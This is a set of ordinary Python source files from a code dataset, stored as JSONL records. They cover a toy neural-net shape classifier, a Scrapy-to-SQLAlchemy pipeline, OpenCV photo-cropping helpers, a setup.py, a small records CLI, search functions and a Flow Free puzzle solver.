seconds.')\r\n #Beep(440, 10000)\r\n \r\n cont = input('Continue to learn? (y?) ')\r\n if cont != 'y':\r\n break\r\n\r\n # 1: triangle, 0: not triangle\r\n def isTriangle(image):\r\n # layer 0\r\n x = image.reshape(-1, 1)\r\n # layer 1\r\n x = activate(w1 @ x + b1)\r\n # layer 2\r\n x = activate(w2 @ x + b2)\r\n # layer 3\r\n x = activateLast(w3 @ x + b3)\r\n\r\n return round(x.item())\r\n\r\n print('\\n--- Testing ---')\r\n while True:\r\n terror = 0\r\n print('Testing set size: ' + str(tsize))\r\n for test in range(tsize):\r\n shapeID = random.getrandbits(2)\r\n if shapeID >> 1:\r\n shape = genTriangle(size=isize)\r\n else:\r\n if shapeID & 1:\r\n shape = genSquare(size=isize)\r\n else:\r\n shape = genNoise(size=isize)\r\n error_ = (shapeID >> 1) ^ isTriangle(shape)\r\n terror += error_\r\n\r\n if error_:\r\n print('===== Test #' + str(test) + ' =====')\r\n print('Label:', shapeID >> 1)\r\n print('Predicted:', (shapeID >> 1) ^ 1)\r\n draw(shape)\r\n \r\n print('Error rate: ' + str(terror / tsize))\r\n\r\n cont = input('Continue to test? (y?) ')\r\n if cont != 'y':\r\n break\r\n\r\n print('--- See you later! ---')\r\n \r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"02_nn_relu.py","file_name":"02_nn_relu.py","file_ext":"py","file_size_in_byte":8487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"67977184","text":"# -*- coding: utf-8 -*-\r\n\r\n# Define your item pipelines here\r\n#\r\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\r\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\r\n\r\n# import datetime\r\n# import redis\r\n# import json\r\n# from scrapy import signals, Request\r\n# from scrapy.exporters import JsonItemExporter\r\n# from scrapy.pipelines.images import ImagesPipeline\r\n# from scrapy.exceptions import DropItem\r\nfrom sqlalchemy.orm import sessionmaker\r\n\r\nfrom tutorial.items import HuxiuItem\r\nfrom tutorial.model import db_connect, create_news_table, session_scope\r\nfrom tutorial.model.huxiu_model import HuXiuModel\r\nimport logging\r\nlog = logging.getLogger(__name__)\r\n\r\nclass HuxiuPipeline(object):\r\n def __init__(self):\r\n engine = db_connect()\r\n create_news_table(engine)\r\n self.Session = sessionmaker(bind=engine)\r\n\r\n def process_item(self, item, spider):\r\n if isinstance(item, HuxiuItem):\r\n link = item[\"link\"].encode(\"utf-8\")\r\n session = self.Session()\r\n obj = session.query(HuXiuModel).filter(HuXiuModel.link==link).first()\r\n if obj:\r\n if \"published\" in item:\r\n obj.published = item[\"published\"].encode(\"utf-8\")\r\n if \"desc\" in item:\r\n obj.desc = item[\"desc\"].encode(\"utf-8\")\r\n session.add(obj)\r\n session.commit()\r\n else:\r\n published = item[\"published\"].encode(\"utf-8\") if \"published\" in item else \"\"\r\n desc = item[\"desc\"].encode(\"utf-8\") if \"desc\" in item else \"\"\r\n obj = HuXiuModel(\r\n link=link,\r\n title=item[\"title\"].encode(\"utf-8\"),\r\n desc=desc,\r\n published=published,\r\n )\r\n session.add(obj)\r\n session.commit()\r\n # with session_scope(self.Session) as db:\r\n # db.add(obj)\r\n log.info(item)\r\n return item\r\n\r\n def open_spider(self, spider):\r\n \"\"\"This method is called when the spider is opened.\"\"\"\r\n pass\r\n\r\n def close_spider(self, spider):\r\n pass\r\n","sub_path":"python/scrapy-spider/tutorial/pipeline/huxiu_pipe.py","file_name":"huxiu_pipe.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"441899619","text":"import numpy as np\nimport cv2\nimport math\n\n\ndef get_primary_background_color(img):\n \"\"\"\n Returns the primarily used color in the images, which is assumed to be the background color.\n\n :param img: this is the image\n :returns the primary hue tone.\n :rtype int\n \"\"\"\n\n hist = cv2.calcHist([img], [0], None, [256], [0, 256])\n # get most occurring color\n background_color = hist.argmax(axis=0)\n\n return background_color\n\n\ndef get_background_spot(img, background_color, spot_size=200):\n \"\"\"\n Returns a position in the image, which is the most similar spot to the background color.\n\n :param img: this is the image\n :param background_color: this is the background color\n :param spot_size: the size of the searched spot.\n The higher the value, the slower the search and up to a certain size more stable\n :returns x, y coordinate of the background spot.\n :rtype tuple\n \"\"\"\n\n spot_template = np.zeros((spot_size, spot_size, 3), np.uint8)\n spot_template[:, :, 0] = background_color\n spot_template[:, :, 1] = background_color\n spot_template[:, :, 2] = background_color\n\n # find big background spot\n method = cv2.TM_SQDIFF_NORMED\n result = cv2.matchTemplate(spot_template, img, method)\n # We want the minimum squared difference\n mn, _, location, _ = cv2.minMaxLoc(result)\n\n return location\n\n\ndef generate_binary_background_image(img, background_color, threshold=25):\n \"\"\"\n Returns a binary image, which where the background color with some threshold is separated from the rest.\n\n :param img: this is the image\n :param background_color: this is the background color\n :param threshold: the threshold around the primary background color, which still should belong to the background.\n :returns: binary image.\n :rtype: array\n \"\"\"\n\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, mask1 = cv2.threshold(gray, background_color + threshold, 255, 0)\n ret, mask2 = cv2.threshold(gray, background_color - threshold, 255, 0)\n combined = cv2.bitwise_not(cv2.bitwise_and(mask1, mask2))\n\n return combined\n\n\ndef separate_background(binary_background_img, background_location):\n \"\"\"\n Returns a binary image, where the background ist black and the image locations are white.\n\n :param binary_background_img: binary version of the image\n :param background_location: a location (x,y) where there is some background\n :returns: binary image. \n :rtype: array \n \"\"\"\n\n im_floodfill = binary_background_img.copy()\n h, w = binary_background_img.shape[:2]\n mask = np.zeros((h+2, w+2), np.uint8)\n\n cv2.floodFill(im_floodfill, mask, background_location, 128)\n\n im_floodfill[im_floodfill == 0] = 255\n im_floodfill[im_floodfill == 128] = 0\n\n return im_floodfill\n\n\ndef check_for_features(img, threshold=10):\n \"\"\"\n Returns true or false dependent on the amount of features (corners and edges) which are in the image.\n Used to remove images without content (only background).\n\n :param img: input image\n :param threshold: the necessary amount of features needed to be regarded as image\n :returns: boolean, if image as enough features \n :rtype: bool \n \"\"\"\n\n blur1 = cv2.GaussianBlur(img, (7, 7), 0)\n blur2 = cv2.GaussianBlur(img, (15, 15), 0)\n gradients = blur1 - blur2\n\n pixel_sum = np.sum(gradients[0:img.shape[0]-1, 0:img.shape[1]-1, 0:img.shape[2]-1])\n average = pixel_sum / (img.shape[0] * img.shape[1] * img.shape[2])\n\n return average > threshold\n\n\ndef crop_image_rectangles(img, binary_background_image, min_area=-100, max_dimension_relation=2.5, image_padding=10):\n \"\"\"\n Returns an array of images, which are cut out of the original image.\n The cut is based on the binary background image.\n During this process unrelevant (to small, to monoton, ...) images are sorted out.\n\n :param img: input image\n :param binary_background_image: binary image showing where background and where foreground is.\n :param min_area: the size(area) an image must at least have to be considered as an image.\n :param max_dimension_relation: the maximum relation between the width and the height of an image\n (-> strips are not allowed)\n :param image_padding: the padding with which image is cut out of the original photo.\n :returns: an array of all the images in the scan\n :rtype: array \n \"\"\"\n\n # initialize output images\n cropped_images = []\n\n im2, contours, hierarchy = cv2.findContours(binary_background_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n album_image_height = binary_background_image.shape[0]\n album_image_width = binary_background_image.shape[1]\n \n if min_area < 0:\n min_area = album_image_height * album_image_width / (-min_area)\n\n count_ignored_because_corner_distance = 0\n count_ignored_because_min_area = 0\n count_ignored_because_total_album = 0\n count_ignored_because_dimension_relation = 0\n\n for i in range(len(contours)):\n # the virtual corners correspond to the edges if every point should be in the image\n # the real corners are the contour points which are closest to the edge\n\n virtual_corners = [[album_image_width, album_image_height], [0, 0]]\n real_corners = [[album_image_width, album_image_height], [0, 0]]\n\n for j in range(len(contours[i])):\n if virtual_corners[0][0] > contours[i][j][0][0]:\n virtual_corners[0][0] = contours[i][j][0][0]\n if virtual_corners[0][1] > contours[i][j][0][1]:\n virtual_corners[0][1] = contours[i][j][0][1]\n if virtual_corners[1][0] < contours[i][j][0][0]:\n virtual_corners[1][0] = contours[i][j][0][0]\n if virtual_corners[1][1] < contours[i][j][0][1]:\n virtual_corners[1][1] = contours[i][j][0][1]\n\n if real_corners[0][0] + real_corners[0][1] > contours[i][j][0][0] + contours[i][j][0][1]:\n real_corners[0][0] = contours[i][j][0][0]\n real_corners[0][1] = contours[i][j][0][1]\n\n if real_corners[1][0] + real_corners[1][1] < contours[i][j][0][0] + contours[i][j][0][1]:\n real_corners[1][0] = contours[i][j][0][0]\n real_corners[1][1] = contours[i][j][0][1]\n\n # check if virtual corners are near real corners\n max_corner_distance = math.sqrt(album_image_width*album_image_width\n + album_image_height*album_image_height) / 20\n\n corner_distance_topleft = math.sqrt(math.pow(real_corners[1][0] - virtual_corners[1][0], 2)\n + math.pow(real_corners[1][1] - virtual_corners[1][1], 2))\n\n corner_distance_bottomright = math.sqrt(math.pow(real_corners[0][0] - virtual_corners[0][0], 2)\n + math.pow(real_corners[0][1] - virtual_corners[0][1], 2))\n\n if corner_distance_topleft > max_corner_distance or corner_distance_bottomright > max_corner_distance:\n count_ignored_because_corner_distance += 1\n continue\n\n image_width = abs(real_corners[0][0] - real_corners[1][0])\n image_height = abs(real_corners[0][1] - real_corners[1][1])\n image_area = abs(image_width * image_height)\n\n # dont save images that are the whole album image\n if img.shape[0] < image_height * 1.1 and img.shape[1] < image_width * 1.1:\n count_ignored_because_total_album += 1\n continue\n\n # dont save images, that are to small\n if image_area < min_area:\n count_ignored_because_min_area += 1\n continue\n\n # dont save images, that have weird dimensions\n if image_height/image_width > max_dimension_relation or image_width/image_height > max_dimension_relation:\n count_ignored_because_dimension_relation += 1\n continue\n\n # if there is enough space add some padding\n if real_corners[0][1] - image_padding > 0:\n real_corners[0][1] -= image_padding\n if real_corners[0][0] - image_padding > 0:\n real_corners[0][0] -= image_padding\n if real_corners[1][1] + image_padding < img.shape[0]:\n real_corners[1][1] += image_padding\n if real_corners[1][0] + image_padding < img.shape[1]:\n real_corners[1][0] += image_padding\n\n crop = img[real_corners[0][1]:real_corners[1][1],real_corners[0][0]:real_corners[1][0]]\n cropped_images.append(crop)\n\n return cropped_images\n\n\ndef validate_cropped_images(cropped_images, feature_threshold):\n \"\"\"\n Validated the cropped image by checking for feature.\n\n :param feature_threshold: the necessary amount of features needed to be regarded as image\n :param cropped_images: array - An array of cropped images\n :return: An array of validated cropped images\n :rtype array\n \"\"\"\n valid_cropped_images = []\n\n for image in cropped_images:\n enough_features = check_for_features(image, feature_threshold)\n if enough_features:\n valid_cropped_images.append(image)\n\n return valid_cropped_images\n","sub_path":"imextract/backgroundremover.py","file_name":"backgroundremover.py","file_ext":"py","file_size_in_byte":9186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"279629574","text":"import codecs\nimport os\ntry: # for pip >= 10\n from pip._internal.req import parse_requirements\n from pip._internal.download import PipSession\n from pip._internal.index import PackageFinder\nexcept ImportError: # for pip <= 9.0.3\n from pip.download import PipSession\n from pip.index import PackageFinder\n from pip.req import parse_requirements\nfrom setuptools import find_packages, setup\n\nroot_dir = os.path.abspath(os.path.dirname(__file__))\nrequirements_path = os.path.join(root_dir, 'requirements', 'base.txt')\n\nsession = PipSession()\nfinder = PackageFinder([], [], session=session)\nrequirements = parse_requirements(requirements_path, finder, session=session)\ninstall_requires = [r.name for r in requirements]\n\nversion = '2.2.3' # Don't forget to update docs/CHANGELOG.rst if you increment the version\n\nwith codecs.open('README.rst', 'r', 'utf-8') as f:\n long_description = f.read()\n\nsetup(\n name=\"sbo-sphinx\",\n version=version,\n author=\"Jeremy Bowman\",\n author_email=\"jbowman@safaribooksonline.com\",\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Topic :: Documentation',\n 'Topic :: Software Development :: Documentation',\n ],\n description=\"Sphinx configuration and libraries for Safari Books Online documentation\",\n long_description=long_description,\n url='http://github.com/safarijv/sbo-sphinx',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data=True,\n zip_safe=False,\n install_requires=install_requires,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"636892340","text":"from RecordsHolder.records_store import RecordsStore\nfrom RecordsHolder.menu import Menu\nfrom RecordsHolder import ui\n\nstore = RecordsStore()\n\n\nQUIT = 'Q'\n\ndef main():\n\n menu = create_menu()\n\n while True:\n choice = ui.display_menu_get_choice(menu)\n action = menu.get_action(choice)\n action()\n if choice == QUIT:\n break\n\ndef create_menu():\n menu = Menu()\n menu.add_option('1', 'Add a record', add_record)\n menu.add_option('2', 'Search For Record Holder', search_record_holder)\n menu.add_option('3', 'Show all Plyers', show_all_players)\n menu.add_option('4', 'Update a Record', update_record)\n menu.add_option('5', 'Delete a Record', delete_record)\n menu.add_option(QUIT, 'Quit', quit_program)\n\n return menu\n\ndef add_record():\n new_record = ui.get_new_record_info()\n store.add_record(new_record)\n\ndef search_record_holder():\n search_term = ui.ask_question('Enter player name, will match partial names ')\n matches = store.record_holder_search(search_term)\n ui.show_records(matches)\n\ndef show_all_players():\n players = store.get_all_records()\n ui.show_records(players)\n\ndef update_record():\n search_term = ui.ask_question('Enter player name, will match partial names ')\n new_number_of_catches = int(ui.ask_question('Enter number of catches: '))\n # matches = store.record_holder_search(search_term)\n store.update_number_of_catches(search_term, new_number_of_catches)\n\ndef delete_record():\n search_term = ui.ask_question('Enter the name of the player you want to delete')\n store.delete_record_holder(search_term)\n\ndef quit_program():\n ui.message('Thanks and bye!')\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"RecordsHolder/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"186155441","text":"def seq_search(items, key):\n \"\"\"顺序查找\"\"\"\n for index, item in enumerate(items):\n if item == key:\n return index\n return -1\n\ndef bin_search(items,key):\n \"\"\"对半查找\"\"\"\n start, end =0, len(items) -1\n while start <= end:\n mid = (start + end)//2\n if key > items[mid]:\n start = mid + 1\n elif key < items[mid]:\n end = mid-1\n else:\n return mid\n return -1\n\n\nif __name__ == '__main__':\n print(seq_search([1,2,5,3,7,9,10],7))\n print(bin_search([1,2,5,3,7,9,10],7))","sub_path":"venv/include/day16-20/order_finder.py","file_name":"order_finder.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"29789618","text":"import read_Puzzle\nimport copy\nfrom collections import deque\nimport math\nimport time\nfrom random import shuffle\n\nglobal counter\ncounter = 0\nglobal checkcounter\ncheckcounter = 0\n\n\n\ndef freeFlowDumb(puzzle,rows,columns,left, values,sourceA,sourceB,idx,frontier):\n if not frontier:\n return 0\n global counter\n pos_now = frontier.pop()\n counter += 1\n value = values[idx]\n\n puzzle_temp = copy.deepcopy(puzzle)\n if pos_now == sourceB[idx]:\n if check1(puzzle_temp,idx,values,sourceA[idx],sourceB[idx],rows,columns):\n if left == 1:\n print('done')\n print(counter)\n return puzzle\n pos_now = sourceA[idx+1]\n\n result = freeFlowDumb(puzzle_temp,rows,columns,left-1,values,sourceA,sourceB,idx+1,[pos_now])\n if result != 0 :\n return result\n return 0\n else:\n return 0\n else:\n if puzzle_temp[pos_now[0]][pos_now[1]] == '_':\n puzzle_temp[pos_now[0]][pos_now[1]] = value\n neighbors = getNeighbor(pos_now,rows,columns)\n shuffle(neighbors)\n for i in range(len(neighbors)):\n neighbor = neighbors[i]\n #print(neighbor)\n if puzzle_temp[neighbor[0]][neighbor[1]] == '_' or neighbor == sourceB[idx]:\n frontier.append(neighbor)\n result = freeFlowDumb(puzzle_temp,rows,columns,left,values,sourceA,sourceB,idx,frontier)\n if result != 0:\n return result\n return 0\n\n\ndef freeFlowSmart(puzzle,rows,columns,left, values,sourceA,sourceB,idx,frontier):\n if not frontier:\n return 0\n pos_now = frontier.pop()\n value = values[idx]\n global counter\n counter += 1\n global checkcounter\n\n puzzle_temp = copy.deepcopy(puzzle)\n if pos_now == sourceB[idx]:\n #print(checkcounter)\n\n if check1(puzzle_temp,idx,values,sourceA[idx],sourceB[idx],rows,columns) :\n if left == 1:\n print('done')\n print(counter)\n return puzzle\n\n pos_now = sourceA[idx+1]\n\n result = freeFlowSmart(puzzle_temp,rows,columns,left-1,values,sourceA,sourceB,idx+1,[pos_now])\n if result != 0 :\n return result\n return 0\n else:\n return 0\n else:\n if puzzle_temp[pos_now[0]][pos_now[1]] == '_' or pos_now == sourceA[idx]:\n puzzle_temp[pos_now[0]][pos_now[1]] = value\n check_move = check2(puzzle_temp,idx,values,sourceA,sourceB,rows,columns)\n if not check_move:\n puzzle_temp[pos_now[0]][pos_now[1]] = '_'\n else:\n neighbors = getNeighbor(pos_now,rows,columns)\n for i in range(len(neighbors)):\n neighbor = neighbors[i]\n #print(neighbor)\n if puzzle_temp[neighbor[0]][neighbor[1]] == '_' or neighbor == sourceB[idx]:\n frontier.append(neighbor)\n result = freeFlowSmart(puzzle_temp,rows,columns,left,values,sourceA,sourceB,idx,frontier)\n if result != 0:\n return result\n return 0\n\ndef freeFlowEcSmart(puzzle,rows,columns,left, values,sourceA,sourceB,idx,frontier):\n # this function is for extra credit\n if not frontier:\n return 0\n pos_now = frontier.pop()\n #print(puzzle)\n value = values[idx]\n global counter\n counter += 1\n global checkcounter\n #print(puzzle)\n #print(frontier)\n #puzzle_temp = copy.deepcopy(puzzle)\n\n if pos_now == sourceB[idx]:\n print(checkcounter)\n check_move3 = check3(puzzle, rows, columns, value)\n #check_move4 = check4(puzzle, rows, columns, sourceA, sourceB,idx,values)\n if check1(puzzle,idx,values,sourceA[idx],sourceB[idx],rows,columns) and check_move3 :\n if left == 1:\n print('done')\n print(counter)\n return puzzle\n #ordered_values,ordered_A,ordered_B = ordering (idx,values,sourceA,sourceB,puzzle,rows,columns)\n # pos_now = ordered_A[idx+1]\n # result = freeFlowEcSmart(puzzle,rows,columns,left-1,ordered_values,ordered_A,ordered_B,idx+1,[pos_now])\n pos_now = sourceA[idx + 1]\n result = freeFlowEcSmart(puzzle, rows, columns, left - 1, values, sourceA, sourceB, idx + 1,[pos_now])\n if result != 0 :\n return result\n return 0\n else:\n return 0\n else:\n if puzzle[pos_now[0]][pos_now[1]] == '_' or pos_now == sourceA[idx]:\n puzzle[pos_now[0]][pos_now[1]] = value\n\n check_move5 = check5(puzzle, idx, values, sourceA[idx], sourceB[idx], rows, columns, pos_now)\n\n #print(check_move3)\n if (not check_move5) :\n puzzle[pos_now[0]][pos_now[1]] = '_'\n elif not (check2(puzzle,idx,values,sourceA,sourceB,rows,columns)):\n puzzle[pos_now[0]][pos_now[1]] = '_'\n\n\n elif not (check4(puzzle, rows, columns, sourceA, sourceB, idx, values, pos_now)):\n puzzle[pos_now[0]][pos_now[1]] = '_'\n else:\n neighbors = getNeighbor_newnew(pos_now,rows,columns,idx,sourceB)\n # neighbors = getNeighbor(pos_now, rows, columns)\n for i in range(len(neighbors)):\n neighbor = neighbors[i]\n #print(neighbor)\n if puzzle[neighbor[0]][neighbor[1]] == '_' or neighbor == sourceB[idx]:\n frontier.append(neighbor)\n result = freeFlowEcSmart(puzzle,rows,columns,left,values,sourceA,sourceB,idx,frontier)\n if result != 0:\n return result\n if pos_now != sourceA[idx]:\n puzzle[pos_now[0]][pos_now[1]] = '_'\n return 0\n\n\n\n\ndef check1(puzzle,idx,values,sourceA,sourceB,rows,columns): # check basic constraints\n value = values[idx]\n # first check if the sourceA has only one same color source\n neighbors = getNeighbor(sourceA,rows,columns)\n count = 0\n for i in range(len(neighbors)):\n if puzzle[neighbors[i][0]][neighbors[i][1]] == value:\n count += 1\n if count != 1:\n return False\n\n # first check if the sourceB has only one same color source\n neighbors = getNeighbor(sourceB,rows,columns)\n count = 0\n for i in range(len(neighbors)):\n if puzzle[neighbors[i][0]][neighbors[i][1]] == value:\n count += 1\n if count != 1:\n return False\n\n # check non-source node\n for row in range(rows):\n for column in range(columns):\n if [row,column] != sourceA and [row,column] != sourceB:\n if puzzle[row][column] == value:\n count = 0\n neighbors = getNeighbor([row,column],rows,columns)\n for i in range(len(neighbors)):\n\n if puzzle[neighbors[i][0]][neighbors[i][1]] == value:\n count += 1\n if count != 2:\n return False\n return True\n\ndef check2(puzzle,idx,values,sourceA,sourceB,rows,columns):\n # check if there still are paths for other colors\n global checkcounter\n checkcounter += 1\n #print(checkcounter)\n #puzzle_temp = copy.deepcopy(puzzle)\n for i in range(idx+1,len(values)):\n A = sourceA[i]\n B = sourceB[i]\n value = values[i]\n # using BFS to determine whether there is still path between A and B\n frontier = deque([A])\n if not pathAvailable(puzzle,frontier,B,rows,columns,value):\n return False\n\n return True\n\ndef check3(puzzle,rows,columns,value):\n # check if the move creates dead end\n\n for i in range(rows):\n for j in range(columns):\n node_now = puzzle[i][j]\n if node_now == \"_\":\n neighbors = getNeighbor([i,j],rows,columns)\n count = 0\n for k in range(len(neighbors)):\n neighborx = neighbors[k][0]\n neighbory = neighbors[k][1]\n if puzzle[neighborx][neighbory] == value:\n count += 1\n if count >= len(neighbors) - 1:\n #print(i,j)\n #print(puzzle)\n return False\n return True\n\ndef check4(puzzle,rows,columns,sourceA,sourceB,idx,values,pos):\n # check if there is isolated blank area\n modified = []\n sourceA_temp = copy.deepcopy(sourceA)\n sourceA_temp[idx] = pos\n for i in range (rows):\n for j in range(columns):\n node_now = puzzle[i][j]\n # start from a blank\n if node_now == \"_\":\n # using BFS to determine whether there is still path to source node\n A = [i,j]\n frontier = deque([A])\n indicator = False\n block_sourceA_neighbor = []\n block_sourceB_neighbor = []\n block_neighbor = []\n while not (not frontier):\n\n A = frontier.popleft()\n #print(A)\n x = A[0]\n y = A[1]\n puzzle[x][y] = 'X'\n modified.append([x, y])\n # print(puzzle)\n neighbors = getNeighbor(A, rows, columns)\n for m in range(len(neighbors)):\n neighbor = neighbors[m]\n\n if neighbor in sourceA_temp[idx:]:\n block_sourceA_neighbor.append(sourceA_temp.index(neighbor))\n\n elif neighbor in sourceB[idx:]:\n block_sourceB_neighbor.append(sourceB.index(neighbor))\n # if neighbor in sourceA[idx:] or neighbor in sourceB[idx:]:\n # indicator = True\n elif puzzle[neighbor[0]][neighbor[1]] == '_':\n frontier.append(neighbor)\n # if not indicator:\n indicator = bool(set(block_sourceA_neighbor) & set(block_sourceB_neighbor))\n #print(indicator)\n #print(puzzle)\n if not indicator:\n #print(puzzle)\n for k in range(len(modified)):\n x = modified[k][0]\n y = modified[k][1]\n puzzle[x][y] = '_'\n #print(False)\n return False\n\n for k in range(len(modified)):\n x = modified[k][0]\n y = modified[k][1]\n puzzle[x][y] = '_'\n #print(True)\n return True\n\ndef check5 (puzzle,idx,values,sourceA,sourceB,rows,columns,pos):\n # check if the move is valid (each non-source cell can have two neighbors with same color)\n value = values[idx]\n for row in range(rows):\n for column in range(columns):\n if [row,column] != sourceA and [row,column] != sourceB and [row,column] != pos:\n if puzzle[row][column] == value:\n count = 0\n neighbors = getNeighbor([row,column],rows,columns)\n for i in range(len(neighbors)):\n\n if puzzle[neighbors[i][0]][neighbors[i][1]] == value:\n count += 1\n if count != 2:\n return False\n return True\n\ndef check6(puzzle,rows,columns,pos):\n # clever way to consider if the move is valid\n # not used\n X = rows\n Y = columns\n getcircle = lambda x, y: [[x2, y2] for x2 in range(x - 1, x + 2)\n for y2 in range(y - 1, y + 2)\n if (-1 < x <= X and\n -1 < y <= Y and\n (x != x2 or y != y2) and\n (0 <= x2 <= X) and\n (0 <= y2 <= Y))]\n circle = getcircle(pos[0],pos[1])\n print(circle)\n modified = []\n for i in range(len(circle)):\n node_now = puzzle[circle[i][0]][circle[i][1]]\n if node_now == \"_\":\n # using BFS to determine whether there is still path to source node\n A = [circle[i][0],circle[i][1]]\n frontier = deque([A])\n while not (not frontier):\n A = frontier.popleft()\n # print(A)\n x = A[0]\n y = A[1]\n puzzle[x][y] = 'X'\n modified.append([x, y])\n # print(puzzle)\n neighbors = getNeighbor(A, rows, columns)\n for m in range(len(neighbors)):\n neighbor = neighbors[m]\n if neighbor in circle:\n if puzzle[neighbor[0]][neighbor[1]] == '_':\n frontier.append(neighbor)\n # if not indicator:\n if not frontier:\n break\n for i in range(len(circle)):\n node_now = puzzle[circle[i][0]][circle[i][1]]\n if node_now == \"_\":\n\n for k in range(len(modified)):\n x = modified[k][0]\n y = modified[k][1]\n puzzle[x][y] = '_'\n # print(False)\n return False\n for k in range(len(modified)):\n x = modified[k][0]\n y = modified[k][1]\n puzzle[x][y] = '_'\n # print(False)\n return True\n\ndef pathAvailable(puzzle,frontier,B,rows,columns,value):\n modified = []\n while not (not frontier):\n A = frontier.popleft()\n if A == B :\n for k in range(len(modified)):\n x = modified[k][0]\n y = modified[k][1]\n puzzle[x][y] = '_'\n return True\n x = A[0]\n y = A[1]\n if puzzle[x][y] == '_':\n puzzle[x][y] = 'X'\n modified.append([x,y])\n #print(puzzle)\n neighbors = getNeighbor(A,rows,columns)\n #print(neighbors)\n for i in range(len(neighbors)):\n neighbor = neighbors[i]\n #print(neighbor)\n if puzzle[neighbor[0]][neighbor[1]] == '_' or neighbor == B:\n frontier.append(neighbor)\n\n for k in range(len(modified)):\n x = modified[k][0]\n y = modified[k][1]\n puzzle[x][y] = '_'\n return False\n\ndef getNeighbor(pos,rows,columns):\n neighbors = []\n i_lower = max(0,pos[0] - 1) # up\n i_upper = min(rows-1,pos[0]+1) # down\n j_lower = max(0,pos[1] - 1) # left\n j_upper = min(columns-1,pos[1] + 1) #right\n\n\n if (j_upper != pos[1]):\n neighbors.append([pos[0],j_upper])\n if (j_lower != pos[1]):\n neighbors.append([pos[0],j_lower])\n if (i_lower != pos[0]):\n neighbors.append([i_lower,pos[1]])\n if (i_upper != pos[0]):\n neighbors.append([i_upper,pos[1]])\n return neighbors\n\ndef getNeighbor_new(pos,rows,columns):\n neighbors = []\n i_lower = max(0,pos[0] - 1)\n i_upper = min(columns-1,pos[0]+1)\n j_lower = max(0,pos[1] - 1)\n j_upper = min(rows-1,pos[1] + 1)\n #print(i_lower,i_upper,j_upper,j_lower)\n if (0 == pos[1]) or (rows-1 == pos[1]):\n if (i_lower != pos[0]):\n neighbors.append([i_lower,pos[1]])\n if (i_upper != pos[0]):\n neighbors.append([i_upper,pos[1]])\n if (j_upper != pos[1]):\n neighbors.append([pos[0],j_upper])\n if (j_lower != pos[1]):\n neighbors.append([pos[0],j_lower])\n else:\n if (j_upper != pos[1]):\n neighbors.append([pos[0],j_upper])\n if (j_lower != pos[1]):\n neighbors.append([pos[0],j_lower])\n if (i_lower != pos[0]):\n neighbors.append([i_lower,pos[1]])\n if (i_upper != pos[0]):\n neighbors.append([i_upper,pos[1]])\n return neighbors\n\n\ndef getNeighbor_ordered(pos,rows,columns):\n neighbors = []\n i_lower = max(0,pos[0] - 1)\n i_upper = min(columns-1,pos[0]+1)\n j_lower = max(0,pos[1] - 1)\n j_upper = min(rows-1,pos[1] + 1)\n #print(i_lower,i_upper,j_upper,j_lower)\n\n if (j_upper != pos[1]):\n neighbors.append([pos[0],j_upper])\n if (j_lower != pos[1]):\n neighbors.append([pos[0],j_lower])\n if (i_lower != pos[0]):\n neighbors.append([i_lower,pos[1]])\n if (i_upper != pos[0]):\n neighbors.append([i_upper,pos[1]])\n # order them with respect to the distance to the wall\n distance = []\n neighborsNew = []\n for i in range(len(neighbors)):\n A = neighbors[i]\n dist = abs(A[0] - 0) * abs(A[0] - (rows - 1)) * abs(A[1] - 0) * abs(A[1] - (columns - 1))\n distance.append([dist, i])\n distance = (sorted(distance, key = lambda length:length[0]))\n for i in range(len(distance)):\n idx = distance[i][1]\n neighborsNew.append(neighbors[idx])\n return(neighborsNew)\n\ndef getNeighbor_newnew(pos,rows,columns,idx,sourceB):\n # if the neighbors contain the sourcenode, add it first\n neighbors = []\n i_lower = max(0,pos[0] - 1) # up\n i_upper = min(rows-1,pos[0]+1) # down\n j_lower = max(0,pos[1] - 1) # left\n j_upper = min(columns-1,pos[1] + 1) #right\n\n\n neighborsNew = []\n if (j_upper != pos[1]):\n neighbors.append([pos[0],j_upper])\n if (j_lower != pos[1]):\n neighbors.append([pos[0],j_lower])\n if (i_lower != pos[0]):\n neighbors.append([i_lower,pos[1]])\n if (i_upper != pos[0]):\n neighbors.append([i_upper,pos[1]])\n for i in range(len(neighbors)):\n if neighbors[i] == sourceB[idx]:\n neighbors[0],neighbors[i] = neighbors[i],neighbors[0]\n return(neighbors)\n\ndef heuristic(A,B,rows,columns):\n distance = []\n for i in range(len(A)):\n dist = abs(A[i][0] - 0) * abs(A[i][0] - (rows-1)) * abs(A[i][1] - 0) * abs(A[i][1]- (columns - 1))\n distance.append([dist,i])\n return(sorted(distance, key = lambda length:length[0]))\n\ndef ordering (idx,values,sourceA,sourceB,puzzle,rows,columns):\n order = []\n for i in range(idx+1,len(values)):\n A = sourceA[i]\n B = sourceB[i]\n neighborA = getNeighbor(A,rows,columns)\n neighborB = getNeighbor(B,rows,columns)\n count = 0\n for j in range(len(neighborA)):\n neighborAx = neighborA[j][0]\n neighborAy = neighborA[j][1]\n if puzzle[neighborAx][neighborAy] == \"_\":\n count += 1\n for j in range(len(neighborB)):\n neighborBx = neighborB[j][0]\n neighborBy = 